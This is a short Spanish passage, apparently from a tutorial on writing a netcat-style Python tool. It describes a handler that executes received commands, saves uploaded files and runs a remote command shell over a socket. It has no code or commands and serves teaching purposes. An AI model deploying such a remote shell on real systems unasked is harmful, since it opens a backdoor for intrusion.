El método handle ejecuta la tarea correspondiente al argumento de línea de comandos que recibe: ejecutar un comando, cargar un archivo o iniciar un shell. Si un comando debe ser ejecutado [1], el método handle pasa dicho comando a la función execute y envía la salida de vuelta al socket. Si un archivo debe ser subido [2], establecemos un bucle para escuchar el contenido en el socket receptor y recibir datos hasta que se terminen. Después guardamos ese contenido acumulado en el archivo especificado. Finalmente, si se va a crear un shell [3], configuramos un bucle, enviamos un mensaje al remitente y esperamos a recibir un comando de texto de vuelta. A continuación, ejecutamos el comando utilizando la función execute y devolvemos la salida del comando al emisor.
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